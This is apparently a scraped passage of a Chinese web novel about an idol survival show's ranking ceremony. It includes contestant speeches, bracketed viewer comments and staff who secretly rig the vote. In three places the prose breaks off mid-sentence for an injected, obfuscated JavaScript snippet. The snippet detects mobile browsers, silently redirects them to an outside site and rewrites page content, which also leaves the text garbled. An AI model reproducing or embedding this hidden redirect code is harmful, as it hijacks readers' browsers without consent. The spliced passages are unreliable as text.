蓝色航线不算大公司,但旗下练习生数也少,作为公司此次的主推,钟鸣嘉取得的成绩与投入相比,可以称得上亏本。 可是没办法,结果在这里,他只能接受。 钟鸣嘉强笑着去了前台,站在底排倒数第二个位置上,接受着41个人的羡慕和58个人的嘲讽。 还不如做第60名。钟鸣嘉恨恨地想,至少第60名作为最后一个揭晓的练习生,能得到单独镜头和一段发言。 姜苏林继续播报,身边的练习生陆陆续续上台,他们哭了又哭,笑了又笑,分不清真假。傅寻砚只是坐在那里看着,冷淡的视线不经意扫过那些熟悉又陌生的面孔。 身边的熙熙攘攘仿佛都与他无关。 副导演钱秋生照常喜欢给傅寻砚镜头,从初舞台开始他就觉得这小子出现在镜头里着实漂亮。 穿着深蓝色制服的男孩,比初舞台时干净清爽,比一公的仙气造型又多了份锐利沉稳。鼻尖的小痣像一颗钻石一般发光夺目,但在眉眼的压制下并不会喧宾夺主。 漫长的排名揭晓对许多人而言是酷刑,伴随着姜苏林念出的名次越来越高,身边的气压也越来越低,抽泣与擤鼻涕的声音不绝于耳。 来自注定被淘汰的练习生。 和上一次的结果相差不大,傅寻砚上次没能记住的人,这次依旧没能记住,他们就像永远平行的两条线,肉眼看去以为可能的交汇终究只是眼花。 傅寻砚不是圣父,他不会逼迫自己去记住曾同行过的人。 他尊敬所有追梦的人,但不会以记住他们的形式来致敬,因为这本就是上位者居高临下的怜悯。 但很快,排名就来到了傅寻砚认识的人。 蒋安和顾峰虽然在一公的舞台表现不错,但前期基础太薄,加上一公播出后四天投票即截止,不在前60的可能性很大。 但彭思源靠着一公从79位来到了51位,脱离了危险区。他同样没有发言资格,在站起来与身边的人抱了一圈后,走上台时满含着眼泪向傅寻砚这边招了招手。 傅寻砚站起身为他鼓了鼓掌。 接下来,段琪琪从58位进步到第40位,而白镇从32名攀升至第27名。 他们直接从位置上绕场一圈跑到了傅寻砚这里,与他深深拥抱。 “呜呜呜傅哥!”段琪琪哭得不能自已,抽噎着。 傅寻砚只好再次印证网上给他的“纸巾小天使”称号,从口袋里取出一张递给了段琪琪。 “好了别哭了,你的妆真的快花了。” 段琪琪一惊,立刻收住,着急忙慌掏出镜子掖了掖眼角。搞笑的前后转变让周围一圈人都忍不住喷笑,纷纷拱着他让他上台。 至于白镇,这个沉默寡言的男孩站在傅寻砚面前,屏蔽掉导演催促他不要多做这些事的劝导,很认真地说了声谢谢。 [呜呜呜我们‘风啊今天晴了’组让我哈特软软] [这组人确实比较善良了,知道感恩寻宝的付出] [对,而且真的光明正大完全不掩饰] [笑死,只有我看到段琪琪趴在傅寻砚怀里哭的时候,背后不远处沈迟的眼神吗?] [我也!好幽怨的小狼狗啊,哥哥的肩膀不是你一个人的了有没有什么要说的哈哈哈] [是哦,这么一说,左肩属于沈迟,右肩属于尹星蘅,脖子属于达裴,腋窝属于旻海,剩下给诸位哥弟的位置不多了] [神他妈腋窝属于旻海,旻海:礼貌吗???我只是害怕一次,要被嘲笑一辈子吗] [沈迟确实很依赖寻宝诶,感觉只要寻宝休息的时候,他基本都跟在寻宝身边] [这话说的,达裴也是好吧,他们宿舍好像只有白闻及能独立行走] [说到白闻及……你们难道感觉不到他的别扭吗?就是那种明明想挂,可碍于人设又不行,每次谁靠近寻宝他就盯……] [是的是的!我也发现了,他不是像沈迟那种盯,他每次都是冷冷瞥一眼,反而更好嗑怎么办?] [啊啊啊你们在干嘛,现在是我白镇宝宝的专场诶!好可惜宝就差7个位置就能发言了] [确实,但也不亏了,进步还算不错,下一公可以期待一下的,其实白镇本来舞蹈就很不错,只是因为之前带伤没发挥好才被判到F] 白镇过后一段时间都没有和傅寻砚关系特别好的练习生,当姜苏林宣布进入前20的公布时,傅寻砚听见了周围一圈人调整坐姿的动静。 “啊啊啊紧张死了。”江瀚嘟囔,“我居然进前20了我真棒!不过还是快点报到我吧,要不然小心脏受不了。” “你这算诅咒自己吗?当然是晚一点更好吧。”傅寻砚哭笑不得。 江瀚一把甩开他的手,瞪圆了眼佯装生气,“哼,不和你这种尖子生讨论这个话题!我可没有你那种余裕。” “什么尖子生?”熟悉的嗓音突然从身后传来。 傅寻砚转头,“你怎么在这里?你的座位不是在那边吗?” “这里空了啊。”达裴一脸无所谓,“再说我一个人,又没有同公司的,想坐哪坐哪。” “啊啊啊达裴好可恶!”隔了两排的沈迟一见达裴屁股挪过去,立刻忍不住了。 他像土拨鼠一样警惕地扫视一圈,然后抬脚就溜了过去。 “诶你不要……”白闻及没能拉住。 面容清冷的男孩锁住了眉,仿佛很不赞同这种不守规矩的做法。 他煞有其事地向身边人解释,“我去看着他免得他再乱跑。” 然后就跟了过去。 身边的同事:…… 你要不要看看你在做什么?再说了沈迟是别家公司的——是别家公司的啊!你看屁! [笑死,204是什么连锁反应?只要达裴一带头做坏事就全跟上了] [他们难道真的以为自己屁股挪得很隐蔽吗啊doge,特别是沈迟,真的是盯着导演组一个个位置挪过去的笑喷] [kk好像不止204,你们看这个镜头(贴图),尹星蘅和旻海也背叛组织了] [叶子好惨,明明超级渴望过去但被同公司三个人包围,根本走不了] [底下位置明明应该现在零零散散空着,被他们这么一挪,傅寻砚附近就变成了一坨,不知道的还以为你们是什么差生都被剩下了呢] [太显眼了] 是的,太显眼了。 现在所有已经被公布名次而站上台的练习生们都一脸无语,肉眼扫射下去,傅寻砚他们真的很显眼…… 以傅寻砚为圆心,周边位置就没有空的……明明本来位置上的人都已经上台了,现在椅子上贴的标签和上面做的人完全不对应。 “喂,你们,快回去!”选管在旁边招呼。 [啊啊啊啊不要不要拆散我燕达闻声!我好不容易捡到糖!] [啊啊啊迟妈不允许!为了我儿的高考成绩就让我儿吸吸寻宝吧!] [?傅寻砚不是高中都没毕业吗?吸个鬼?要吸也是去看恒宇吧?他可是国外知名大学的] [呵呵] [呵呵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276286|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一,寻宝的成绩已经被扒出来了,虽然不算顶尖,但考虑到他的学习时间已经算万里挑一了;第二,你家恒宇的“知名大学”知名在哪?在花钱就能镀金吧] [别吵别吵,其他几家别管无关人等,为了守护我们儿子的幸福请暂时休战刷屏,不要让选管轰他们回去啊!] 有了人组织,很快直播屏幕上出现大量不让选管轰人的弹幕,选管只好作罢,任由这群家伙乱坐。 “江瀚,第17名。” 什么?江瀚本来还在关注傅寻砚身边的位置大战,冷不丁被喊到,一把拎起椅子就上了台。 姜苏林笑得放下了词卡,“江瀚练习生,请问为什么要带椅子上来?” 江瀚懵然,“啊我忘了!” 声音越来越小,江瀚默默捂住脸低头,“我只是害怕达裴他们把我从位置上踹下来坐寻宝身边而已。” 寻宝?其他练习生一脸复杂,这种爱称一般只会在物料里出现,很少在严肃场合还有人敢直呼。 不过考虑到这群人刚刚的傻叉举动,这个场合已经没什么严肃可言就是了…… “寻宝”的称呼一出,傅寻砚也有点受不了,偏头躲,结果对上了旻海含笑的眼眸,突然就有了种不好的预感。 江瀚虽然说着抱歉,但还是没把椅子还回来。 “那个,其实在最后也想感谢一下好兄弟寻砚。”江瀚在嘻嘻哈哈感谢了一群人后,脸色变得正经。 “如果不是你,我想我没可能站在这里,站在这个位置。”有很多事情江瀚知道不能说,但不妨碍他直白地暴露感情。 “其实参赛前一个月我想放弃了,因为各方的压力吧,我总觉得还是回归正常生活会更适合我。” “但那几天看着你忙前忙后,设计舞台、找衣服、找老师录音,我就觉得,寻砚吃了那么多苦,都在为梦想坚持,为什么我还没试过就否定自己。” 江瀚腼腆地笑着,抓住话筒的手却暴露了他的紧张。 “总之,别的话也不多说了,但我们的未来,还要一起努力,一起发光!” 情绪上头,江瀚激动地大喊,“江瀚加油!傅寻砚加油!大家都要加油啊!” 底下的人纷纷附和,一时间演播厅到处都是“加油”的呐喊,好几个末尾练习生再度哭得不能自已。 [呜呜呜眼睛袅袅了] [虽然话很短,但看得出来江瀚真的有好多想说而没机会说给寻宝的话] [大家都好好啊,我就看不得这种场面呜呜呜] 然而傅寻砚的脸色却陡变。 掐住手,傅寻砚尽力克制住心底的情绪翻涌。他并不知道,原来这个世界的江瀚这么早就想着退出了吗?那他之后做的这一切又有什么…… 意义? “你怎么了?”尹星蘅最先注意到不对劲,他侧过身将镜头挡住,有些担心傅寻砚。 “没什么。”傅寻砚复杂地看向那个还不肯撒手放掉椅子的江瀚,他郑重将椅子托付给姜苏林,然后蹦跳着上了高台。 这是直播,不能暴露。 有什么事都得等之后再说。 直到这时,傅寻砚的身边位置还是很满的,但接下来似乎就开始变空了。 “白闻及,第14名。” “沈迟,第13名。” 204的另外两人先后被报道,沈迟兴奋地跳起来给了傅寻砚一个熊抱。 或许是这半个多月运动量充沛,他非但不瘦还长了肌肉,竟然能够一把将傅寻砚举起来转了个圈。 “啊啊啊傅哥我做到了!我进步啦!” 白闻及将他无情扒拉下来,和傅寻砚四目相对间,反而退了一步。 他有点不习惯肢体接触。 35.第三十五日 沈迟的进步最大,由于时下黑皮男孩不在女孩们的审美点上,加上他本就是个完全没有名气的高中生,因此进来的时候只有第72名。 初舞台发挥不错,天赋异禀,歌声动人,大家都知道他会进步,但没想到能一跃进入前20。 “嗤,还不是因为靠傅寻砚带吗?”后排有练习生酸他。 “嘘!”旁边同事摁住他嘴巴,小心看了看摄像头,又点了点胸前的麦。 那人只好悻悻闭嘴。 沈迟笑得格外灿烂,两个同宿舍的人站在一起进行了发言。沈迟其实是很害羞的个性,说了两句就低头脸红,不停向白闻及那边靠。 白闻及满脸无奈地推他。 底下的人都宠溺地看着沈迟,除了段琪琪,沈迟是这个节目里最小的孩子了。 等到白闻及拿起话筒,这个素来冷清,传闻“不屑于和人交友”的男生抿唇,然后缓缓发言。作为戏剧传承人,他的音调和咬字都很有特色。 “能够走到这个位置,我感到很幸运。” “师傅曾经说过,有十年功的人不在少数,但能上台表演两分钟并且被看见的人,并不多。对于正在成为偶像的道路上奔跑的大家来说,也是这样。” “说实话,在此之前我有优越感,因为过去的十几年寒冬酷暑我都在努力,我自信不会比任何人差。但我错了。” 他清冷的视线逡巡一圈,缓缓落在了某个人脸上。 摄像很懂事地对准了傅寻砚。 “总有人比我更能吃苦,他们在向着目标,向着热爱的方向进击时,很耀眼,耀眼到我的优越感被击碎。” “我知道很多人会觉得我的位置不该这么高。” 白闻及吸了一口气,“但接下来我会证明。” “我会用一切来证明,我能站在这里,我将会站的更高。” 白闻及是骄傲的。 过去他还能以“我是戏剧演员,进入偶像圈肯定有不适应”来掩饰暂时的失败,但一公已经结束,赛程三分之一结束,白闻及不能接受自己的实力还在原地踏步。 只是第14名……他绝对不甘于屈居这么多人之下。 他在内心感到焦虑。 傅寻砚看着白闻及,并无表情,仿佛他所说的话题与自己无关。 因为是否要进步,是白闻及自己的决定。傅寻砚不会因为朋友们有想进步的焦虑而担忧他们的心理状况,更不会因为他们有超越自己的潜力而烦躁。 他一样会前进。 进入前十名的名次宣布,气氛更为焦灼。 [Kenny是第10吗?] [滚你担才第10呢!!] [???这又不是骂他,第10不是已经很好了吗?] [前面一看就不是秀芬,这个节目出道人数是7啊。8/9/10都是陪跑] [望周知,祝你担第8是最恶毒的诅咒] [但傅寻砚不是第8吗我记得] [喂消息也太落后了,主题曲公布后他就已经第8了,别提刚刚官宣的Patrox大使效应以及和丛赫老师合作的杂志啊!] [就是,傅寻砚的官咖这个周末一下子涨了10w粉,周一周二更是飙升30w……] 底下坐着的人不多了,除开淘汰的41人,还有一个潜藏的第60名,剩下的人都是前10绝对的上位圈人选。 傅寻砚、叶莱、旻海、达裴、周恒宇、Kenny、伯弥、尹星蘅等人排名成谜。 姜苏林看了看他们,嘴角弯起,持着手卡开始报名次。 “现在揭晓第10名,他从节目放送以来就被称为美男天花板。” 这不是傅寻砚吗?底下有很多练习生交流,但随即又摇头,不对,傅寻砚不该只有第10名,他可是靠一己之力拉起了整个节目的流量啊。 “他的一个眼神就能让人迷倒,他的舞蹈被章曲导师评价为很流畅。” “他超爱冷笑话,虽然因为外国人的身份总是说错,但总能惹人大笑。” “他就是,异国练习生Kenny!” [啊?Kenny怎么会只有第10?这有黑幕吧?] [拜托,数一数剩下的人好吗?Kenny虽然不错但确实打不过那些。] [你在搞笑吗?周奇一个F班的唱跳双废凭什么站上前9?] [因为他会卖啊!他超会!感觉《新世纪》的男男cp都靠他一个人拉起来,疯狂吸血第10-20名,这不成功把自己送上前9了吗?] [真的,超绝小白花一款,虽然卖的有点明显但有人就是喜欢看啊] [周奇之前就是小网红,粉丝也挺多的,而且那群奇妈真的很神经,又要夸他是什么智商天花板一边又只能靠麦麸上位] [智商天花板?谁给他封的?] [前面没混圈吧?他是top2学校的,是不是难以置信?] [啊?我就一个啊?] [他确实很聪明,一开始想绑定mh不是被fxy掀桌了吗?然后就换了人设,不走小白兔路线,走表面清冷但实则腹黑小白兔路线了] 果不其然,下一个就是周奇,位列第九。一时间弹幕都是质疑,不过这些不影响周奇,他淡淡笑着感谢了那些“好兄弟”,然后鞠了一躬结束。 话不多,也没什么可扒的,很聪明地规避了别人做文章。 紧接着是一名很佛系的练习生,名叫?理也,因为谐音经常被粉丝笑称“实力哥”。他确实很有实力,不过就是因为佛系没什么故事线,所以只在十几名徘徊。 不过一公里他就是《热血战歌》的黑马之一,成功跻身前10。 前7已经是出道位,所有粉丝都松了口气的同时,心脏再度紧张起来。 因为接下来,就是上位圈的大战了。 在目前的前7里,有几家呈现明显对立关系,比如傅寻砚和叶莱,尹星蘅和叶莱,达裴和旻海,周恒宇和旻海,傅寻砚和周恒宇,大概只有伯弥一个独善其身。 笑死,毕竟所有人知道这哥纯靠脸和粉丝,要是再没有进步,二公三公自然会掉出这个排名。 不过周恒宇一公已经在傅寻砚手里输了一次,这会儿粉丝也没什么底气冲着傅寻砚喊——所有人都清楚,争第一的只有叶莱和傅寻砚。 [大胆预言一波,伯弥第7,旻海第6,周恒宇第5,达裴第4,尹星蘅第3] [我心里也是这个排名] [尹星蘅是3没跑,毕竟《一首情歌》也出圈了,但达裴和周恒宇……周恒宇那个星二代的新闻还挺热的] [是啊,新粉都不知道他对寻宝的骚操作,有可能被骗投了票] [神经吧,恒宇也是为了舞台,什么叫针对fxy啊?你家是什么香饽饽] [呵呵] [呵呵呵] 排名公布,但和大多数人想的有差别。 出道组的守门员是旻海,然后是达裴。 周恒宇第5,尹星蘅第4,伯弥居然跑到了第3。 [???做票疯了?真敢啊把伯弥排到第3,废物居然在第3也太震惊了吧?] [sb吧前面,伯宝宝的每一票都是伯妈投出去的好吗?我们官咖有101万粉,仅次于傅寻砚] [买的吧这个粉丝数] [嘴巴放干净点,小心告你造谣!] [路人举手,我证明是真的,伯弥家粉丝真的多,因为之前伯弥“霸道总裁弟弟”系列短剧因为《新世纪》带动又火了一把] [是的是的,我妈都在刷,确实有点上头] [我家楼下阿姨也是,觉得伯弥是个可爱小男生所以也被带动去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284206|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投票了] [伯弥的外形是很有迷惑性,加上年纪也小,妈粉姐粉超乎想象,这些富婆很有钱去营销的] [无语了,这年头有人真的眼瞎,这种唱跳双废投上来干嘛?] [我们喜欢你管得着吗?] 旻海和达裴对自己的排名有一点小意外,但称不上多难受,毕竟达裴天性乐观而旻海因为傅寻砚之前的开导也放下了一些纠结。 旻海真挚地发表了感言,倒是达裴嘻嘻哈哈,惹得大家忍俊不禁。 “所以事实证明204宿舍真的很有运气嘛。”达裴笑眯眯,“每个人进步都在十名以上,我都算给我们宿舍拖后腿了。” 这话没错,傅寻砚虽然名次未知,但肯定是三十名以上的进步,四人中唯独达裴由于练习生时期发了几首rap曲,有些赛前人气,因此只提升了十名。 可接下来万万没想到的事情发生了。 达裴本乖乖将话筒还给姜苏林,却好像突然想起来什么似的冲了回去。 “寻宝加油啊!就差你了!” “啊不对,你还是晚点来,最后一个吧。” [……你真的很爱他,发言一共六句话还要分给他两句] [和刚刚【取向pick】环节的三个问题送他一个有什么区别!啊!有什么区别!!] [这两人的cp干脆改成“三分之一”好了,每次都是这个数字怪浪漫的] [哇big胆发言!说fxy第一不就是在咒yl第2?] [叶妈本来很生气,但一想到达裴是个啥家伙,气不起来了] [不想和傻子一般计较是吧?不是,达裴到底是傻还是精明啊?] [我觉得他其实什么都知道,但他在人际关系上就很直接,谁跟他关系好他简直就是完全不藏着] [那也不能这么说话吧,他不怕叶妈围攻他吗?] [赔钱家的已经去道歉了笑死,刷屏“不好意思我儿只是太喜欢寻宝了”] [这怎么不是为了你对抗天下的友情呢doge] [心疼赔钱妈,一款全自动道歉机器] 但所有人这时候都没想到,随后上台的尹星蘅更是一颗炸弹扔下来。 “感谢四年来仍然喜欢我的人,也感谢所有刚刚喜欢我的人,我会带着你们的期许继续努力的!” 平平无奇的发言,完全无法抵消达裴那最后一句爆炸式发言带来的冲击。 可就在这时候尹星蘅深深吸了一口气,底下的练习生看着他的眼睛越来越亮,紧盯着台下一处。 导播有些不好的预感。作为网上十级冲浪选手,他刚看到隔壁《前进吧》选手麦麸的惨状,更恐怖的是其中一对被人扒出来是真给子。 导致《前进吧》已经被挂在网上一整天了,且形势愈演愈烈。 总导演沈子卿上次开会就叮嘱过一定要注意炒作友情的界限,可以卖,但千万不能明晃晃卖。 导播牢记这一戒律。 尹星蘅这孩子他关注得比较多,知道他对傅寻砚毫无道理的偏爱,初舞台他就是第一个和傅寻砚搭讪的,后来还说出什么“不在一个宿舍太遗憾”“下一公一定要在一起”的惊人发言。 不会…… 不会吧!? 导播一阵惊恐,突然鸡皮疙瘩爆发,不要是尹星蘅现在向傅寻砚又说出什么表白,那就完了啊。 他一向相信自己的直觉,伸手就要去手动关上尹星蘅的麦克风。 然而台上的男孩动作超块,拎起话筒,以他专业vocal压倒性的声压把话说得掷地有声。 “寻宝我超爱你的(歌)!” 前六个字在演播厅上方不停飘扬回旋,最后一个字却因为不合时宜的闭麦而只能被小部分人听见。 室内一片寂静,直播间也是突然空白。 36.第三十六日 导播绝望捂住额头,明明他在尽量避免问题,怎么反而最后亲手塑造了问题? 底下的练习生们哄堂大笑,终于把室内凝滞的忧郁气氛驱散了些许。 “啊不可以不可以!我不是这样说的!”尹星蘅崩溃着着朝镜头挥手,用手语反复比划着撤回刚刚的话。 其实镜头里也很明显,尹星蘅的话还剩最后一个字结果被掐掉了,但网友就是那么会嗑,直接无视尹星蘅的垂死挣扎。 [我当真了嗷我当真了!,寻星是真的!] [这算导演带我们嗑?哇这个操作也太神了,没错我指神经的神] [管他因为什么呢,寻星好诶,和《新世纪偶像》的主题特别搭] [主题曲就叫《万千星辰》,cp名是寻星的话就很有那种宿命感~~] [好大一颗糖!上来就是告白呜呜呜我的cp真的好努力] [完了,寻星姐都疯了……] [理解一下吧,毕竟俩孩子这么久都没同框了] [怎么啦,一公第一第二何尝不是一种同框?] [哈哈哈一公第一第二,热搜也是第一第二,看来傅寻砚的左位是无论如何都逆不了的了] [戳手指但我一直嗑星砚的怎么办?] [怎么办?劝你趁早收手,外面都是寻星姐啊!!] 尹星蘅带来的热闹持续了好一阵,直到姜苏林止不住笑意地邀请第三名伯弥发言。 伯弥在台上站定,这个以演员脸著称的练习生长得很清秀,虽然比不上kenny的美丽和傅寻砚的锋利,但充满了属于他这个年纪的清澈纯净。 这也是傅寻砚第一次,在这个周目认真地端详他。 伯弥这个人很复杂。 此刻这个人站在那里,黑色短发蓬松得像刚被春风吹散的蒲公英绒球,发梢扫过眉骨时惊动了垂落的睫毛。 睫毛长得过分,在眼睑下投出的弧形阴影让人想起玻璃纸包裹的栀子花苞。鼻头圆润,微微泛红,仿佛刚被人用雪团轻轻蹭过。 最致命的是那双眼,如同初生小鹿第一次聚焦世界的焦距。当他恰到好处的翘起唇角,笑纹就会从唇角漾开,右耳垂的淡褐小痣跟着颤动,像落在宣纸上的第一滴墨汁,瞬间晕开整幅水墨画的生气。 也难怪他即便唱跳双废,也能在上一周目和叶莱争第一。 他朝着那么多人发言,却让每个人都觉得他在真诚地看向自己——这就是伯弥的神奇之处,也是他上一周目获得如此多支持的原因。 “很感谢支持我的粉丝们,如果没有你们,我就不会有这个位置。” 然后是长达三秒的沉默,伯弥出乎预料的没有什么表情。 他收起了那张脸上永远挂着的干净浅笑,突然变得陌生,眼眸如同茫茫大海的一艘木船,漂泊不定没有船锚。 现场都因为这个停顿而安静下来,傅寻砚能听到不远处的练习生,以及前面两排叶莱的呼吸。 “嗯,我得坦白一件事。” 坦白?坦白什么? 直播间瞬间热闹起来,众说纷纭,从“其实我是异国王子”到“其实我已经榜上富婆”,精彩纷呈。 “来这个节目的最初,我好像并没有想着努力,成为偶像并不是我的目标。” 哇……一片哗然。虽然他还是有些脑子所以没把话说的太明白,但在一众练习生里,这句话的潜台词昭示无疑。 偶像不是我的目标——因为我看不起这个职业。 偶像是什么? 是努力、是汗水、是为了舞台的跃动和歌唱。 看起来光鲜亮丽,打扮的精致漂亮,在二十平、三十平的舞台上肆意绽放美丽。 但事实上,当聚光灯移走,年轻、漂亮、心眼少,这些特质都让他们成为“玩物”,他们的表演是没有内容的。 一部电视剧,一部电影能够传达思想。不论有无深度,只要通过包装,一部媚男片也能被形容为大女主的自强。 但偶像的表演不行。一首歌四分钟,歌词大多浅显,怎么也离不开爱情、青春等老生常谈的话题。 即便有“我们是女王/国王”“我们不断奔跑,向着太阳”,在三四分钟的感动后,似乎也无法激起什么热情。 舞台的效应注定比书、比剧本要短的多。 更何况,人们对这些直接的美丽太过苛刻,扭动的身体在他们看来是不正经。 在当下各家公司练习生的培训正规化的同时,早期野蛮生长的生命力更是无处可寻。 缺乏个性,缺乏思想,缺乏坚强足以感染他人的内核——这就是如今练习生的通病。 尤其是那些富家子弟挤入这个赛道后,所谓的“为了梦想”更成了虚无,他们在温馨舒适的巢穴里跳舞,举着“梦想”的旗帜玩票。 当然,不能一棍子打死所有,但不可否认的是,这个圈子已经没了“冲劲”。 傅寻砚让敏感的观众率先感受到一点不同。 “我” 伯弥抿了抿唇,视线移动,盯住了一点。 “追梦的人很值得敬佩,我听到了。” 这句话说的没头没尾,但座位上的旻海和傅寻砚均是一愣——难道那天的楼梯间不止他们两人? “我在看完那个舞台之后,好像感受到了一种非凡的力量。这真的是一件很奇妙的事情,如果唱的不是这首歌,如果没有把舞台设计成那样,甚至……如果不是你,我是不会感受到的。” 说的是傅寻砚他们吧……所有练习生暂时忘记了排名的事,纷纷交头接耳。 “他在干嘛?”达裴一脸无语,“这种爆炸式发言也能说出来?不是又把寻宝拱出来了?” 尹星蘅翻了个白眼,“算了吧,我的话都播出了……我感觉咱们节目似乎在各种意义上在越过约定俗成的边界。” 伯弥继续,“说起来有点不成熟,按理来说人生的道路得好好思考才对,尤其是职业选择,有些人需要五年、十年才能看得清,但……” “说我莽撞也好,没脑子也好,我现在是要因为一首歌、一个舞台来改变我努力的方向了。我相信这个世界应该有人能理解这种瞬间的冲动,当然,不理解也没事。” “我会努力的,请大家期待接下来,继续站在舞台上奋斗的伯弥。” 梳着卷毛的男孩又笑了,一如过往。 傅寻砚与他对上视线,周围的掌声震耳欲聋。 但伯弥在看着自己,很安静,像冬日新雪。 傅寻砚伸手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292031|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻为他鼓了掌。 男孩笑了,毫不犹豫放下话筒,不管他在现场和直播间掀起的飓风,走上了属于第三名的王座。 网上因为伯弥的发言已经爆炸了。 [啊啊啊啊伯宝宝你到底要干什么!不先通知一下妈妈就这样搞?] [伯妈已经疯了,不是说好走演员路的吗?不是公司赛前都在暗示我们只是积累一些曝光的嘛?] [救命,要是真出道了可怎么办啊?别说这几年野鸡选秀,就连四年前的大热选秀团在国内也不算成功啊] [伯弥这次真的有点不冷静了,他知道真的走唱跳要付出多少努力吗?就他现在这种完全没有基础的样子……] [就是说这个发言……什么歌,舞台,你,都是指fxy吧?是吧是吧?] [呃关注超话的人去看看,寻宝家的广场已经被伯家屠了] [纳尼!寻妈不发威当我病猫啊?他们家有什么资格屠广场?我们还没骂他蹭热度呢!] [寻妈听令!暂离直播间回去打仗!] 傅寻砚身边已经空了,没人能与他讨论,伯弥这一番发言到底出于什么目的,但身后练习生们灼热的视线不断烫着傅寻砚的后背。 前排也只剩一个人,叶莱。 叶莱此刻很想回头,就在刚刚伯弥发言的瞬间,他的第六感再度传来警报。这次也是因为威胁感,但与排名无关。 只与一个人有关。 叶莱没有转头,他的脑海里是那年异国的雪。白色的雪片不知道从哪里被吹来,混乱了叶莱的视线,将他嫩绿的新叶打得垂头丧脑。 “叶莱” “叶莱” 有人喊他,随即是肩膀传来的重量。 叶莱恍惚偏头,那人的容颜在过于璀璨的灯光中有些模糊,直到他适应了那光线,才看清面容。 一张淡妆时干净清爽,但依旧有种锋利感的面容。 “该我们了,走吧。” 叶莱脑子里一片雪白,动作顺从地站起来,跟着他上了台。 姜苏林看着两个前后走过来的青年,目光中露出一种追忆往昔的淡淡哀愁,透过叶莱和傅寻砚,他仿佛看见了十几年前意气风发的自己。 “恭喜两位练习生,你们分别是《新世纪偶像》第一次排名的第一和第二名。” “两位感情看起来很好呢,但导演还是要我问一个很无情的问题哦,请问你们觉得谁是第一,谁是第二呢?” 叶莱不受控制地再次偏头,看向那个比自己略微高些的脑袋,他的脑子里只有“你们看起来感情不错”,而根本没听清后半句。 傅寻砚大概本来等着他先回答,但叶莱的满脸懵然根本遮掩不住,于是接过了麦克风。 “我觉得吗?我觉得我是第二。” 姜苏林有些意外,他认识的傅寻砚沉默却锋芒毕露,不是这种过度谦逊的人物。 傅寻砚笑了笑,“只是基于现实计算得出,另外……” “人生的路可不能走得一帆风顺啊,总要有超越有进步才有看点不是吗?” 哇,说话还挺有哲理,底下练习生们笑的开心,却完全没注意到节目组部分工作人员僵硬的动作和表情。 是的,他们做票了。 37.第三十七日 “只是第一次排名啊,动票数又怎么了,不会有人在乎的。” “对啊,反正那是傅寻砚,下次就可以第一的吧,毕竟他有热度还有实力。” “反正这次傅寻砚也就比叶莱超出一百来票,这种微小差距要放到总决赛才有看点,放在一公一点震撼都没有。” “我也觉得不如这样,调整一下票数,让叶莱第一,傅寻砚第二,你们不知道这两家有多能买东西,周边收入都上五十万了。” “赞成!叶莱原本的粉丝就有我们的会员,得刺激一下喜欢傅寻砚的粉丝,让他们来充会员才行。” “杨清,这样有点过分了。”沈子卿戳了戳笔,黑眼圈挂在眼袋下太过明显。她的情绪很烦躁,家里的孩子今天没人带,他爸一直在催自己下班去接孩子。 杨清团队的这番话简直是火上浇油。 望着那五个人一脸“你在反对什么”的怪异表情,沈子卿更是觉得脑袋一阵钝痛。 为什么呢? 调整一下票数是能带来更大的收益,但这件事本身对吗? 哪怕叶莱愿意、傅寻砚愿意、他们的粉丝愿意,这件事就能因为利益最大化而正当了吗? 沈子卿的喉咙被灼痛,昨晚开始她就在加班,至今未休息过,甚至没怎么喝过水。但那种喉咙处的烧灼感似乎正在沿着血管向上蔓延。 室内的氛围因为沈子卿的话语而陷入沉重。 杨清啧了一声,把笔往桌上一扔,整个人向后倒去,“那你有什么想法?” “我什么想法?”沈子卿不耐烦,抱住了手臂,眼睛在室内逡巡。 加上她、副导演、导播以及杨清的策划团队以及一名实习生秘书,共九个人。 “初心什么的在你们看来很可笑吧?但你们还记得最开始做这个策划时,所说的话吗?” “那是骗人的?” 杨清沉默了一下。 两年前这档节目就开始策划了,他们几人年纪算台里比较轻的,有新点子新想法,想要做一档励志型选秀节目,给那些没资本捧的练习生一个展现实力的地方。 但正是因为这个与主流不符的目标,他们一直未能拉到投资。 好不容易节目开办,傅寻砚的爆火让他们看见了新希望。 也让他们膨胀。 如果没有傅寻砚现在会如何?杨清觉得,即便清高如沈子卿,也会通过炒作话题来想办法加热度。 沈子卿之所以现在还能谈“初心”,不过是局面离她的底线还有一段距离,所以她有余裕,能够故作正义地来声讨他们这些“坏人”。 是,他们开始容忍关系户进节目,开放练习生的外务,开始制作周边贩卖……但沈子卿又有多干净呢?她跳出来反对了吗? 没有。 